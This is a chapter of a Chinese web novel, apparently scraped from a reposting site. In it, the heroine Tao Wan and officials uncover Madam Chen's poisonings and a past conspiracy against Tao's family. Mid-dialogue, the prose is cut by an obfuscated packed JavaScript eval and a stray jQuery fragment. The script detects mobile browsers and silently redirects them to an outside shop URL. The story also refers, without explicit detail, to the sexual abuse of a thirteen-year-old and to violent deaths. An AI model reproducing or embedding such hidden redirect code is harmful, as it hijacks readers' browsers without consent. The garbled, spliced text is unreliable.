25. 公主
    陶绾从袖口中掏出来一瓶药丹,扔到了他脚边,“吃了,止血的。”

    陈之蘭将药倒出来一颗,塞进丛舟口中。

    “大人,不是他杀的人。”陈之蘭说道。

    丛舟吃惊地看向他,上首处青年冷淡的声音传了过来,“我知道,现在就等陈公子说呢。”

    陶绾垂眸,听到陈之蘭道:“此事……小人也是方才有了答案。”

    他从袖口中掏出来一包药粉,“这是从母亲房中发现的,此药无色无味,服用过后便会腹痛难忍,随即疼痛就会遍布全身,到最后会不堪折磨而自尽。”

    陶绾蹙眉,“可陈夫人为何要对顾琼下手?”

    陈之蘭抬眼望向她,“我原本也不明白,方才我才想到,顾琼带你去假山后面的那一日,便是她身边的小秋和那人会面的日子,或许他们是撞见了顾琼。”

    陶绾想到那日顾琼和小秋的谈话,心中瞬时明了。

    只是稍一询问便会知晓她也曾去过假山,那陈夫人为何没有对她出手。

    “是我,那日顾琼过去找你,我担心府中议论纷纷,便不许任何人提起此事。”

    竟然是这样巧合,陶绾叹气。

    “那听你这话,你是知道玲珑阁的事情了?”

    陈之蘭颔首,“是,我一开始就知道。我想此时卫同知也已经到了陈家。”陈之蘭抬眼看着齐陟。

    齐陟瞥了他一眼,“你一早就知道,所以陶绾送周妈妈回去的那一晚,你才那么防备她,你对她下药,是在警告她。可没想到,她也对你下了药。”

    陈之蘭扯了扯唇,“之前不是没有人怀疑,但他们都死了。我也是不想再有人因此丧命。但我也怕死,我真怕你给我下的药会要了我的命。”

    陶绾手中绕着头发,“其实我的药不会要命,它只是会疼上那么几日,七日后便会消解。在陈府给你开的那些药,也不过就是补身子的。”

    她也不懂医术,只是会制一些药物,给陈之蘭把脉都是按着母亲和姐姐的手法来的,东施效颦罢了。

    “齐哥哥!”

    随着少女清脆的声音,陶绾抬眼就见到那日在暗室中见到的小姑娘。

    “参见公主。”

    见状,陶绾也跟在他身后行礼。

    “你们不必多礼。”同玉说着,又将陶绾扶起来,“姐姐,那日是不是你?”

    陶绾愣了一瞬,“殿下认得我?”

    同玉连连点头,“对呀,虽然那日你跟今日……长得不太一样,但是我认出来你了,你的眼睛很特别。”

    “殿下怎么在这里?”齐陟打断同玉问道。

    同玉咧嘴笑笑,“我是想去永川找皇姑姑的,谁知道我才到金水,就被人绑了。”

    她用期冀的目光看着齐陟:“你是特意来救我的吗?”

    “不是。”齐陟无情道。

    耳边传来一道笑声,同玉听到卫辽说道:“殿下,真是你多想了。事先我们谁也不知道你被带到这里了,真是凑巧。”

    同玉瞪他一眼,又从袖子里拿出来药瓶,“这个,她给我的!她不是你的人吗,我以为是你派过去的。她给我这个,难道不是告诉我,不要怕,你来救我了吗?”

    陶绾:“……”

    她真的只是单纯地给她伤药而已。

    “陶姑娘就是让你上个药。”卫辽忍着笑意说道。

    见到同玉还要说什么话,卫辽又连忙对齐陟道:“指挥使,那些女子已经安置好了,就等他们的家人过来认领。”

    齐陟颔首,他对同玉说道:“你在这里等我们回来,我留着人保护你,不许乱跑。”

    同玉委屈地看着他说道:“你不会要给皇叔传信,让他派人来抓我吧?”

    卫辽拍了拍衣襟,他不会告诉同玉,他已经传信回邺京了。

    “不会。”齐陟说罢从她手中将瓶子拿走。

    凛冽的晨风吹过,陶绾忍不住打了个喷嚏。

    手上传来一阵暖意,陶绾垂下眼睑就见到手中的披风,她望向齐陟。

    男人只是继续往前走,她挠了挠头,“多谢大人。”

    结果换来对方的一声哼笑,仔细听来,倒更像是自嘲。

    “陶绾,我给你的药,你倒真是明白怎么去用。”

    陶绾扯了扯唇,“那日见到公主,她有些伤,小女只有这个药,所以……”

    她不甚明白齐陟为何会生气,“那个情况,我想帮她们。”

    少女焦急地跟他解释,齐陟看着她,“你做的对。”

    他夸赞她,面色和煦。

    来到陈府时,刘氏和小秋几人已经被关押了起来。

    房中,她坐在塌上,头发微乱。

    房外的鸟叫声不时传进来,如同往常一般。

    看到齐陟几人进来,她指着陈之蘭就破口大骂,“真是没想到,你会出卖我?你这个小野种,忘恩负义的东西!”

    陈之蘭连忙跪下,“母亲,你不能再这样错下去了。”

    陈之蘭眼中含着泪,恳切地道:“那些女子都是无辜的,你不该伤害她们。”

    “那我呢?我就活该!”刘氏嘶吼道,“你也站在她那边说话?啊?”

    她伸手就想将陈之蘭掐死,却被两个锦衣卫按住了。

    “她?”陶绾捕捉住了字眼。

    陈之蘭连忙转向齐陟,恳求道:“草民知道,母亲已经犯下滔天大罪,我既为人子,恳请大人让我来替她承担一切后果。”

    “不需要你承担!”一旁的小秋出口道,“你也觉得夫人错了,你们都这样觉得!”

    卫辽冷哼,“不知悔改。”

    小秋瞪着她,“你知道什么?”

    她恶狠狠的瞪着卫辽,“我陪夫人长大,陪着她嫁到陈家。陈文清一开始也不过就是一个穷小子,若不是夫人,他哪来的这样偌大的家业!他就是个伪君子,起初对夫人千依百顺,夫人身子不好,他便从族中过继来一个孩子。”

    她又看向陈之蘭,“你原本不过就是你父亲和一个婢女生的,夫人让你做了陈府的少爷,你倒好,和他们一起来对付她。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027318|145281||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    陶绾连忙看向陈之蘭,少年垂着眼眸,鼻尖发红。

    她道:“小秋姑娘,陈公子身为人子,只需要对父母尽孝,但若是如你所说,他亲眼看着母亲伤害无辜,仍无所为,那便是愚孝。”

    小秋冷笑,“你一个未及笄的小丫头懂什么?倘若你日后嫁了人,而你的夫君背弃了你,到时候,你会后悔你今日所说的话!”

    陶绾:“什么?”

    “夫人未出嫁的时候,家中有个庶妹,很不讨人喜欢。可夫人待她极好,得了什么好东西都会留她一份。夫人嫁过来后,又担心她在家中过得不好,便命人把她接了过来。谁知道,还没过一年,她就爬上了陈文清的床。那是她最疼的妹妹,他们就这样背叛了她!

    陈文清一边对夫人疼爱有加,一边和她的妹妹做尽了苟且之事!”

    “不是这样……”陈之蘭出口道,“这是陈文清的错。”

    他着急辩解,小秋却继续说:“陈文清铁了心的要纳那个女人,夫人又怎么能如他的意。当时,陈文清和薛兴在书房中密谋之时,夫人有意引她过去,让她听到了不该听的,这下,就算陈文清护着她,薛兴也必定要弄死她。”

    她说罢抬头看向陶绾,“你不知道吧?当时他们就是在商量如何除了陶正锡,我听说,陶正锡最后是被人拿刀砍去双腿双手。”

    陶绾直觉心口发疼,她上前揪住小秋的衣襟,“你说清楚,你们对我爹娘做什么了?”

    小秋噗嗤一声笑了,“你娘一辈子治病救人,最后也不得已,服毒自尽。你姐姐当时从灵州逃婚,她明明和高瑀两情相悦,可偏偏又为了你,不得已,还是嫁给了姚珩,这都是因为陈文清,你恨他,那就找到他,杀了他。”

    陶绾盯着她说道:“你还知道什么?说啊。”

    少女浑身颤抖,眼睛里布满血丝。

    眼前仿佛闪过一幅幅画面,恍惚间,她看到父母死前的情景,母亲抱着她到了地窖中,颤抖着手,抚摸过她的脸庞,“一年未见,娘的绾绾又长高了,也瘦了。”

    小丫头死死地抱着母亲,“阿娘,我们一起在这里,会有人救我们的。”

    “傻孩子,你在这里等着娘,我跟你爹把坏人赶走了,就来找你。”女人笑着对她说。

    脸庞滑过一滴清泪,一只手忽然握住少女冰凉的手。

    陶绾看向齐陟,“陈文清呢?”

    齐陟轻声说道:“你先冷静,我们一起把事情查清楚。”

    陶绾缓缓的松开手,卫辽也连忙说道:“陈文清昨夜一夜未归,我也派人去找了,还没有找到。”

    “昨夜,是姨母的忌日。”陈之蘭开口说道,“每年这个时候,他都会去姨母坟前看望她。”

    他撇头看向陈夫人,“母亲,昨夜您也去看她了吧。”

    陈夫人哼笑一声,“你多想了。”

    陈之蘭叹气,“你明知道,姨母也是被陈文清胁迫的,陈文清道貌岸然,认准了她胆子小,便强迫了她多次。她才十三岁,实实在在的被陈文清毁了。”